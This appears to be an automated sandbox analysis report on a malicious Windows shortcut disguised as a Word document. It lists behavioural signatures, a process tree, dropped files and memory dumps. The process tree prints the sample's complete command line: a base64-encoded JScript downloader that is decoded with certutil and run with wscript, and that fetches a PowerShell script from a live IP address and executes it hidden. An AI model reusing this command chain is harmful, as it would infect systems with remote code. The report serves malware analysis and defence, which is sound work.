Overview

overview

8

Static

static

1

NAKAZ_MO_p...cx.lnk

windows10-2004-x64

8

NAKAZ_MO_p...cx.lnk

windows11-ltsc_2024-x64

8

SPYSOK_mayna.docx.lnk

windows10-2004-x64

8

SPYSOK_mayna.docx.lnk

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/07/2026, 11:40

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General

  • Target
    NAKAZ_MO_perevirka_mayna.docx.lnk
  • Size 6KB
  • Sample260702-ns91hsfv7q
  • SHA256 9bd16130d297f639bab147186ce090becb05a1f0e85ee87a8aba3b557e170558
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NAKAZ_MO_perevirka_mayna.docx.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5828
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE5My4xNjkuMTk0Ljg2L2NyNDRnL2ZpZnRoYmVsb25nLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > yO.b64 && certutil -decode yO.b64 5G9X2.js >nul && wscript //b 5G9X2.js && del yO.b64 5G9X2.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\system32\certutil.exe
        certutil -decode yO.b64 5G9X2.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:3288
      • C:\Windows\system32\wscript.exe
        wscript //b 5G9X2.js
        3⤵
        • Badlisted process makes network request
        PID:2804
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3180
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5064
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3944

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        5G9X2.js
        • Path C:\Users\Admin\AppData\Local\Temp\5G9X2.js
        • Size 301B
        • SHA256 cfe0ff9b5bc1c1c4f07324005eea1fbbeafb29d239b162226decffaa7448675f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        yO.b64
        • Path C:\Users\Admin\AppData\Local\Temp\yO.b64
        • Size 408B
        • SHA256 70252f93701f506d17306868ffc243519139d5cd840d68d957ae7a96bd47cc2a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/5064-34-0x000001CD82A50000-0x000001CD82A70000-memory.dmp
        Download

        memory/5064-56-0x000001CD82C90000-0x000001CD82CB0000-memory.dmp
        Download

        memory/5064-25-0x000001CD801E0000-0x000001CD802E0000-memory.dmp
        Download

        memory/5064-24-0x000001CD801E0000-0x000001CD802E0000-memory.dmp
        Download

        memory/5064-70-0x000001CD942A0000-0x000001CD942C0000-memory.dmp
        Download

        memory/5064-36-0x000001CD82E90000-0x000001CD82F90000-memory.dmp
        Download

        memory/5064-26-0x000001CD801E0000-0x000001CD802E0000-memory.dmp
        Download